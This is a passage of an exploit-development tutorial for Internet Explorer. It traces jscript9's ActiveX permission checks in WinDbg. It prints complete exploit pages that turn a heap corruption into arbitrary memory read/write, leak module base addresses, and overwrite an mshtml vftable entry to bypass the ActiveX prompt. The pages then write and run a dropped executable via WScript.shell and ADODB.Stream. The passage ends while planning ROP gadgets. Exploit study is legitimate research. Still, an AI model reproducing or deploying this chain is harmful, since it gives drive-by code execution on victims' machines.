As before, we can determine the base address of mshtml.dll with a simple subtraction.
When an html page tries to load and run an ActiveX object in IE, the user is alerted with a dialog box. For instance, create an html file with the following code:
If you open this file in IE, you should get the following dialog box:
Image may be NSFW. Clik here to view.
If we activate the so-called God Mode, IE runs the ActiveX object without asking for the user’s permission. Basically, we’ll just use our ability to read and write where we want to alter the behavior of IE.
But what’s so interesting in popping up a calculator? That’s a valid demonstration for general shellcode because it proves that we can run arbitrary code, but here we’ve just proved that we can execute any program which resides on the user’s hard disk. We’d like to execute arbitrary code, instead.
One solution is to create an .exe file containing code and data of our choosing and then execute it. But for now, let’s try to bypass the dialog box when executing the code above.
Bypassing the dialog box
The dialog box displayed when the code above is run looks like a regular Windows dialog box, so it’s likely that IE uses the Windows API to create it. Let’s search for msdn dialog box with google. The first result is this link:
Image may be NSFW. Clik here to view.
When we look at the other functions used to create dialog boxes, we find out that they also call CreateWindowEx, so we should put a breakpoint on CreateWindowEx.
First of all, we load the html page above in IE and, before allowing the blocked content (IE asks for a confirmation when you open local html files), we put a breakpoint on CreateWindowEx (both the ASCII and the Unicode version) in WinDbg:
0:016> bp createwindowexw
0:016> bp createwindowexa
Then, when we allow the blocked content, the breakpoint on CreateWindowExW is triggered. Here’s the stack trace:
Maybe the function CanObjectRun decides if the ActiveX object can run? Let’s delete the previous breakpoints and put a breakpoint on jscript9!ScriptSite::CreateActiveXObject:
bp jscript9!ScriptSite::CreateActiveXObject
When we reload the html page and allow the blocked content in IE, we break on CreateActiveXObject. Here’s the code:
If we keep stepping through the code, we get to jscript9!ScriptEngine::CanCreateObject. This function also looks interesting. For now, let’s note that it returns 1 (i.e. EAX = 1) in this case. We continue to step through the code:
Finally, we get to jscript9!ScriptEngine::CanObjectRun. When we step over it, the familiar dialog box pops up:
Image may be NSFW. Clik here to view.
Let’s click on Yes and go back in WinDbg. We can see that CanObjectRun returned 1 (i.e EAX = 1). This means that the je at 04eebfb0 is not taken and CreateObjectFromProgID returns. We can see that the calculator pops up.
Now let’s put a breakpoint right at 04eebfae, reload the page in IE and let’s see what happens if we click on No when the dialog box appears. Now EAX is 0 and je is taken. If we resume the execution, we can see that the calculator doesn’t pop up this time.
So, if we want to bypass the dialog box, we must force CanObjectRun to return true (i.e. EAX != 0). Unfortunately, we can’t modify the code because it resides on read-only pages. We’ll need to think of something else.
Let’s put a breakpoint on jscript9!ScriptEngine::CanObjectRun and reload the page in IE. This time, we’re stepping inside CanObjectRun:
It’s pretty clear that the first line reads the vftable pointer from the first dword of the object pointed to by eax and that, finally, the third instruction calls the 6th virtual function (offset 14h) in the vftable. Since all vftables are located at fixed RVAs, we can locate and modify this vftable so that we can call whetever code we want.
Right before the call at 04eec12a, eax is clearly non zero, so, if we were to return immediately from CanObjectRun, CanObjectRun would return true. What happens if we overwrite the 6th pointer of the vftable with the value 04eec164?
What happens is that the call at 04eec127 will call the epilog of CanObjectRun so CanObjectRun will end and return true. Everything works correctly because, even if the call at 04eec127 push a ret eip on the stack, the epilog of CanObjectRun will restore esp to the correct value. Remember that leave is equivalent to the following two instructions:
mov esp, ebp
pop ebp
Let’s put a breakpoint at 04eec12a, reload the page in IE and, when the breakpoint is triggered, examine the vftable:
So the vftable is at mshtml + 0xc555e0 and we need to overwrite the dword at mshtml + 0xc555e0 + 0x14 with the value jscript9 + 0xdc164. Let’s see the javascript code to do this:
// We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
// * mshtml+0xc555e0 is the address of the vftable we want to modify;
// * jscript9+0xdc164 points to the code "leave / ret 4".
// As a result, jscript9!ScriptEngine::CanObjectRun returns true.
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on!
shell = new ActiveXObject("WScript.shell");
shell.Exec('calc.exe');
write(mshtml+0xc555e0+0x14, old); // God mode off!
Note that the code restores the vftable as soon as possible (God mode off!) because the altered vftable would lead to a crash in the long run.
Here’s the full code:
<html>
<head>
<script language="javascript">
(function() {
alert("Starting!");
//-----------------------------------------------------
// From one-byte-write to full process space read/write
//-----------------------------------------------------
a = new Array();
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte ArrayBuffer (buf)
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
for (i = 0; i < 0x200; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x80)
buf = new ArrayBuffer(0x58); // must be exactly 0x58!
for (j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
// 0x0: ArrayDataHead
// 0x20: array[0] address
// 0x24: array[1] address
// ...
// 0xf000: Int32Array
// 0xf030: Int32Array
// ...
// 0xffc0: Int32Array
// 0xfff0: align data
for (; i < 0x200 + 0x400; ++i) {
a[i] = new Array(0x3bf8)
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf)
}
// vftptr
// 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
// 0c0af020: 03133de0 array_len buf_addr
// jsArrayBuf
alert("Set byte at 0c0af01b to 0x20");
// Now let's find the Int32Array whose length we modified.
int32array = 0;
for (i = 0x200; i < 0x200 + 0x400; ++i) {
for (j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
if (int32array == 0) {
alert("Can't find int32array!");
window.location.reload();
return;
}
// This is just an example.
// The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
// The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
// The value in parentheses, at 03c1f178+0x60+0x24, points to the following
// LargeHeapBlock.
//
// 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
// 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
// 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
// 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
// 03c1f238: ...
// We check that the structure above is correct (we check the first LargeHeapBlocks).
// 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
var vftptr1 = int32array[0x60/4],
vftptr2 = int32array[0x60*2/4],
vftptr3 = int32array[0x60*3/4],
nextPtr1 = int32array[(0x60+0x24)/4],
nextPtr2 = int32array[(0x60*2+0x24)/4],
nextPtr3 = int32array[(0x60*3+0x24)/4];
if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
alert("Error!");
window.location.reload();
return;
}
buf_addr = nextPtr1 - 0x60*2;
// Now we modify int32array again to gain full address space read/write access.
if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
alert("Error!");
window.location.reload();
return;
}
int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length
int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address
function read(address) {
var k = address & 3;
if (k == 0) {
// ####
return int32array[address/4];
}
else {
alert("to debug");
// .### #... or ..## ##.. or ...# ###.
return (int32array[(address-k)/4] >> k*8) |
(int32array[(address-k+4)/4] << (32 - k*8));
}
}
function write(address, value) {
var k = address & 3;
if (k == 0) {
// ####
int32array[address/4] = value;
}
else {
// .### #... or ..## ##.. or ...# ###.
alert("to debug");
var low = int32array[(address-k)/4];
var high = int32array[(address-k+4)/4];
var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff
low = (low & mask) | (value << k*8);
high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
int32array[(address-k)/4] = low;
int32array[(address-k+4)/4] = high;
}
}
//---------
// God mode
//---------
// At 0c0af000 we can read the vfptr of an Int32Array:
// jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
jscript9 = read(0x0c0af000) - 0x3b60;
// Now we need to determine the base address of MSHTML. We can create an HTML
// object and write its reference to the address 0x0c0af000-4 which corresponds
// to the last element of one of our arrays.
// Let's find the array at 0x0c0af000-4.
for (i = 0x200; i < 0x200 + 0x400; ++i)
a[i][0x3bf7] = 0;
// We write 3 in the last position of one of our arrays. IE encodes the number x
// as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
// Either we use an odd number or a valid address otherwise IE will crash in the
// following for loop.
write(0x0c0af000-4, 3);
leakArray = 0;
for (i = 0x200; i < 0x200 + 0x400; ++i) {
if (a[i][0x3bf7] != 0) {
leakArray = a[i];
break;
}
}
if (leakArray == 0) {
alert("Can't find leakArray!");
window.location.reload();
return;
}
function get_addr(obj) {
leakArray[0x3bf7] = obj;
return read(0x0c0af000-4, obj);
}
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable'
// v
// 70792248 0c012b40 00000000 00000003
// 73b38b9a 00000000 00574230 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
var addr = get_addr(document.createElement("div"));
mshtml = read(addr + 0x10) - 0x58b9a;
// We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
// * mshtml+0xc555e0 is the address of the vftable we want to modify;
// * jscript9+0xdc164 points to the code "leave / ret 4".
// As a result, jscript9!ScriptEngine::CanObjectRun returns true.
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on!
shell = new ActiveXObject("WScript.shell");
shell.Exec('calc.exe');
write(mshtml+0xc555e0+0x14, old); // God mode off!
alert("All done!");
})();
</script>
</head>
<body>
</body>
</html>
Open it in IE and, when the alert box tells you, go in WinDbg and set the byte at 0c0af01b to 0x20 or the dword at 0c0af018 to 0x20000000. Then close the alert box and the calculator should pop up. If there is an error (it may happen, as we already saw), don’t worry and repeat the process.
Running arbitrary code
We saw how to run an executable present on the victim’s computer. Now let’s see how we can execute arbitrary code. The trick is to create an .exe file and then execute it. This is the code to do just that:
<html>
<head>
<script language="javascript">
// content of exe file encoded in base64.
runcalc = ... put base64 encoded exe here ...
function createExe(fname, data) {
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
shell = new ActiveXObject("WScript.shell");
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
createExe(fname, decode(runcalc));
shell.Exec(fname);
</script>
</head>
<body>
</body>
</html>
I won’t explain the details of how this code works because I don’t think that’s very interesting.
First of all, let’s create a little application which open the calculator. In real life, we’d code something more interesting and useful, of course, but that’s enough for a demonstration.
Create a C/C++Win32 Project in Visual Studio 2013 with the following code:
This will make sure that the runtime library is statically linked (we want the exe file to be standalone). Build the Release version and you should have a 68-KB file. Mine is named runcalc.exe.
Now encode runcalc.exe in base64 with a little Python script:
import base64
with open(r'c:\runcalc.exe', 'rb') as f:
print(base64.b64encode(f.read()))
Now copy and paste the encoded data into the javascript code above so that you have
I snipped the string because too long, but you can download it here: runcalc.
Open the html file in IE and you’ll see that the calculator doesn’t pop up. To see what’s wrong, open the Developer Tools (F12), go to the Console tab and then reload the page. Here’s what we get:
Image may be NSFW. Clik here to view.
The problem is that Microsoft decided to disable ADODB.Stream in Internet Explorer because ADODB.Stream is intrinsically unsafe. For now, let’s reenable it by using a little utility called acm (download).
Install acm, run it and enable ADODB.Stream like shown in the following picture:
Download an utility called SimpleServer:WWW from here: link.
We’re going to use it to run the html file as if it were served by a web server. SimpleServer is easy to configure. Just create a folder called WebDir on the Desktop, copy the html file into that folder, then run SimpleServer and select the html file like indicated in the following picture:
Image may be NSFW. Clik here to view.
Then click on Start. Now open IE and open the page at the address 127.0.0.1. The calculator won’t pop up. Once again, use the Developer Tools to see what’s wrong:
Image may be NSFW. Clik here to view.
OK, now is time to solve all these problems. Reset all the settings in IE and disable again ADODB.Stream with the utility acm. Here’s the full code we’re going to work on:
<html>
<head>
<script language="javascript">
(function() {
alert("Starting!");
//-----------------------------------------------------
// From one-byte-write to full process space read/write
//-----------------------------------------------------
a = new Array();
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte ArrayBuffer (buf)
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
for (i = 0; i < 0x200; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x80)
buf = new ArrayBuffer(0x58); // must be exactly 0x58!
for (j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
// 0x0: ArrayDataHead
// 0x20: array[0] address
// 0x24: array[1] address
// ...
// 0xf000: Int32Array
// 0xf030: Int32Array
// ...
// 0xffc0: Int32Array
// 0xfff0: align data
for (; i < 0x200 + 0x400; ++i) {
a[i] = new Array(0x3bf8)
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf)
}
// vftptr
// 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
// 0c0af020: 03133de0 array_len buf_addr
// jsArrayBuf
alert("Set byte at 0c0af01b to 0x20");
// Now let's find the Int32Array whose length we modified.
int32array = 0;
for (i = 0x200; i < 0x200 + 0x400; ++i) {
for (j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
if (int32array == 0) {
alert("Can't find int32array!");
window.location.reload();
return;
}
// This is just an example.
// The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
// The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
// The value in parentheses, at 03c1f178+0x60+0x24, points to the following
// LargeHeapBlock.
//
// 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
// 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
// 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
// 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
// 03c1f238: ...
// We check that the structure above is correct (we check the first LargeHeapBlocks).
// 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
var vftptr1 = int32array[0x60/4],
vftptr2 = int32array[0x60*2/4],
vftptr3 = int32array[0x60*3/4],
nextPtr1 = int32array[(0x60+0x24)/4],
nextPtr2 = int32array[(0x60*2+0x24)/4],
nextPtr3 = int32array[(0x60*3+0x24)/4];
if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
alert("Error!");
window.location.reload();
return;
}
buf_addr = nextPtr1 - 0x60*2;
// Now we modify int32array again to gain full address space read/write access.
if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
alert("Error!");
window.location.reload();
return;
}
int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length
int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address
function read(address) {
var k = address & 3;
if (k == 0) {
// ####
return int32array[address/4];
}
else {
alert("to debug");
// .### #... or ..## ##.. or ...# ###.
return (int32array[(address-k)/4] >> k*8) |
(int32array[(address-k+4)/4] << (32 - k*8));
}
}
function write(address, value) {
var k = address & 3;
if (k == 0) {
// ####
int32array[address/4] = value;
}
else {
// .### #... or ..## ##.. or ...# ###.
alert("to debug");
var low = int32array[(address-k)/4];
var high = int32array[(address-k+4)/4];
var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff
low = (low & mask) | (value << k*8);
high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
int32array[(address-k)/4] = low;
int32array[(address-k+4)/4] = high;
}
}
//---------
// God mode
//---------
// At 0c0af000 we can read the vfptr of an Int32Array:
// jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
jscript9 = read(0x0c0af000) - 0x3b60;
// Now we need to determine the base address of MSHTML. We can create an HTML
// object and write its reference to the address 0x0c0af000-4 which corresponds
// to the last element of one of our arrays.
// Let's find the array at 0x0c0af000-4.
for (i = 0x200; i < 0x200 + 0x400; ++i)
a[i][0x3bf7] = 0;
// We write 3 in the last position of one of our arrays. IE encodes the number x
// as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
// Either we use an odd number or a valid address otherwise IE will crash in the
// following for loop.
write(0x0c0af000-4, 3);
leakArray = 0;
for (i = 0x200; i < 0x200 + 0x400; ++i) {
if (a[i][0x3bf7] != 0) {
leakArray = a[i];
break;
}
}
if (leakArray == 0) {
alert("Can't find leakArray!");
window.location.reload();
return;
}
function get_addr(obj) {
leakArray[0x3bf7] = obj;
return read(0x0c0af000-4, obj);
}
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable'
// v
// 70792248 0c012b40 00000000 00000003
// 73b38b9a 00000000 00574230 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
var addr = get_addr(document.createElement("div"));
mshtml = read(addr + 0x10) - 0x58b9a;
// We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
// * mshtml+0xc555e0 is the address of the vftable we want to modify;
// * jscript9+0xdc164 points to the code "leave / ret 4".
// As a result, jscript9!ScriptEngine::CanObjectRun returns true.
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on!
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
shell = new ActiveXObject("WScript.shell");
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
createExe(fname, decode(runcalc));
shell.Exec(fname);
write(mshtml+0xc555e0+0x14, old); // God mode off!
alert("All done!");
})();
</script>
</head>
<body>
</body>
</html>
I snipped the value of runcalc because it was too long. You can download the full code from here: code1.
Use SimpleServer to serve this code. Go to 127.0.0.1 in IE and when the dialog box pops up do what it says in WinDbg. Unfortunately, IE crashes here:
This might be a problem with our God Mode. Let’s find out by modifying our javascript code as follows:
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on!
alert("bp on " + (mshtml+0xc555e0+0x14).toString(16));
We just add an alert right after the activation of the God Mode. Restart IE and WinDbg and repeat the whole process.
I must admit that I get the Error message box a lot. Let’s change some values and see if things get better. Here are the changes:
<html>
<head>
<script language="javascript">
(function() {
alert("Starting!");
//-----------------------------------------------------
// From one-byte-write to full process space read/write
//-----------------------------------------------------
a = new Array();
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte ArrayBuffer (buf)
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
for (i = 0; i < 0x300; ++i) { // <------------ from 0x200 to 0x300
a[i] = new Array(0x3c00);
if (i == 0x100) // <------------ from 0x80 to 0x100
buf = new ArrayBuffer(0x58); // must be exactly 0x58!
for (j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
// 0x0: ArrayDataHead
// 0x20: array[0] address
// 0x24: array[1] address
// ...
// 0xf000: Int32Array
// 0xf030: Int32Array
// ...
// 0xffc0: Int32Array
// 0xfff0: align data
for (; i < 0x300 + 0x400; ++i) { // <------------ from 0x200 to 0x300
a[i] = new Array(0x3bf8)
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf)
}
// vftptr
// 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
// 0c0af020: 03133de0 array_len buf_addr
// jsArrayBuf
alert("Set byte at 0c0af01b to 0x20");
// Now let's find the Int32Array whose length we modified.
int32array = 0;
for (i = 0x300; i < 0x300 + 0x400; ++i) { // <------------ from 0x200 to 0x300
for (j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
Ah, much better! Now it’s way more stable, at least on my system.
Finally, the dialog box with the address of the modified entry in the vftable pops up. In my case, it says bp on 6d0f55f4. Let’s put a breakpoint on access:
ba r4 mshtml+0xc555e0+0x14
After we hit F5 and we close the dialog, the execution stops here:
0555c15a 5f pop edi
0555c15b 5e pop esi
0555c15c 33cd xor ecx,ebp
0555c15e 5b pop ebx
0555c15f e8da51f2ff call jscript9!__security_check_cookie (0548133e)
0555c164 c9 leave <-------------------- we are here
0555c165 c20400 ret 4
OK, we’re inside CreateActiveXObject so everything is proceeding as it should. Let’s hit F5 again. Now the execution stops on the same instruction but the stack trace is different:
After a little bit of stepping IE crashes as before. It seems we have a problem with our God Mode. Probably, our problem is that we modified the vftable itself which is used by all the objects of the same type. We should create a modified copy of the original vftable and make the object we’re interested in point to it.
Before doing something radical, let’s try to find out where the crash is. To do this, let’s add a few alerts:
function createExe(fname, data) {
alert("3"); // <------------------------------------------
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
alert("4"); // <------------------------------------------
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
alert("1"); // <------------------------------------------
shell = new ActiveXObject("WScript.shell");
alert("2"); // <------------------------------------------
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
createExe(fname, decode(runcalc));
shell.Exec(fname);
write(mshtml+0xc555e0+0x14, old); // God mode off!
alert("All done!");
Now reload the page in IE (by going to 127.0.0.1), change the length of the Int32Array at 0xc0af000 and see what happens. You should see all the three alert box from 1 to 3 and then the crash. Therefore, we can conclude that the crash happens when we execute the following instructions:
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
Why isn’t there any problem with WScript.shell?
A difference should come to mind: ADODB.Stream was disabled by Microsoft! Maybe something happens in jscript9!ScriptSite::CreateObjectFromProgID… Let’s see.
Repeat the process and this time, when the alert box with 3 appears, put a breakpoint on jscript9!ScriptSite::CreateObjectFromProgID. Let’s do some stepping inside CreateObjectFromProgID:
As we can see, CanCreateObject returns 0 and our familiar CanObjectRun is not even called. What happens if we force CanCreateObject to return true (EAX = 1)? Try to repeat the whole process, but this time, right after the call to CanCreateObject, set EAX to 1 (use r eax=1). Remember that you need to do that twice because we create two ADODB.Stream objects.
Now the alert box with 4 appears but we have a crash after we close it. Why don’t we try to keep the God Mode enabled only when strictly necessary? Let’s change the code as follows:
var old = read(mshtml+0xc555e0+0x14);
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AA <snipped> AAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on!
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
write(mshtml+0xc555e0+0x14, old); // God mode off!
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
tStream.Close();
bStream.Close();
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on!
shell = new ActiveXObject("WScript.shell");
write(mshtml+0xc555e0+0x14, old); // God mode off!
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
createExe(fname, decode(runcalc));
shell.Exec(fname);
alert("All done!");
Let’s try again to load the page and set EAX to 1 right after CanCreateObject. This time, let’s put the breakpoint directly on CanCreateObject:
bp jscript9!ScriptEngine::CanCreateObject
When the breakpoint is triggered, hit Shift+F11 and then set EAX to 1 (the first time it’s already 1). OK, now there is no crash but the calculator doesn’t appear. If you repeat the process with the Developer Tools enabled, you should see the following error:
Image may be NSFW. Clik here to view.
Let’s leave that error for later. For now we should be happy that we (almost) solved the problem with the God Mode. We still need to modify the behavior of CanCreateObject somehow so that it always returns true. Again, repeat the whole process and put a breakpoint on CanCreateObject. When the breakpoint is triggered, we can begin to examine CanCreateObject:
As you can see, that’s the same vftable we modified for CanObjectRun. Now we need to modify [ecx+10h] for CanCreateObject. We might try to overwrite [ecx+10h] with the address of the epilog of CanCreateObject, but it won’t work. The problem is that we need to zero out EDI before returning from CanCreateObject. Here’s the code right after the call to CanCreateObject:
04ebbf2e e8e2030000 call jscript9!ScriptEngine::CanCreateObject (04ebc315)
04ebbf33 85c0 test eax,eax
04ebbf35 0f84d467fcff je jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04e8270f)
04ebbf3b 6a05 push 5
04ebbf3d 58 pop eax
04ebbf3e 85ff test edi,edi
04ebbf40 0f85b66a1600 jne jscript9!memset+0xf3a6 (050229fc) <----------------- taken if EDI != 0
If the jne is taken, CreateObjectFromProgID and CreateActiveXObject will fail.
I looked for hours but I couldn’t find any suitable code to call. Something like
xor edi, edi
leave
ret 4
would be perfect, but it just doesn’t exist. I looked for any variations I could think of, but to no avail. I also looked for
mov dword ptr [edx], 0
ret 20h
and variations. This code would mimic a call to the original virtual function and clear [ebp-8]. This way, CanCreateObject would return true:
04dcc338 8b08 mov ecx,dword ptr [eax]
04dcc33a 6a00 push 0
04dcc33c 6a00 push 0
04dcc33e 6a10 push 10h
04dcc340 ff7508 push dword ptr [ebp+8]
04dcc343 8d55f8 lea edx,[ebp-8] <---------- edx = ebp-8
04dcc346 6a04 push 4
04dcc348 52 push edx
04dcc349 6800120000 push 1200h
04dcc34e 50 push eax
04dcc34f ff5110 call dword ptr [ecx+10h] ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0 test eax,eax
04dcc354 7814 js jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f test byte ptr [ebp-8],0Fh <-------- if [ebp-8] == 0, then ...
04dcc35a 6a00 push 0
04dcc35c 58 pop eax
04dcc35d 0f94c0 sete al <-------- ... then EAX = 1
04dcc360 5f pop edi <-------- restores EDI (it was 0)
04dcc361 c9 leave
04dcc362 c20400 ret 4
Note that this would also clear EDI, because EDI was 0 when CanCreateObject was called.
Next, I tried to do some ROP. I looked for something like this:
xchg ecx, esp
ret
Unfortunately, I couldn’t find anything similar. If only we could control some other register beside ECX…
Well, it turns out that we can control EAX and xchg eax, espgadgets are certainly more common than xchg ecx, esp gadgets.
Here’s the schema we’re going to use:
Image may be NSFW. Clik here to view.
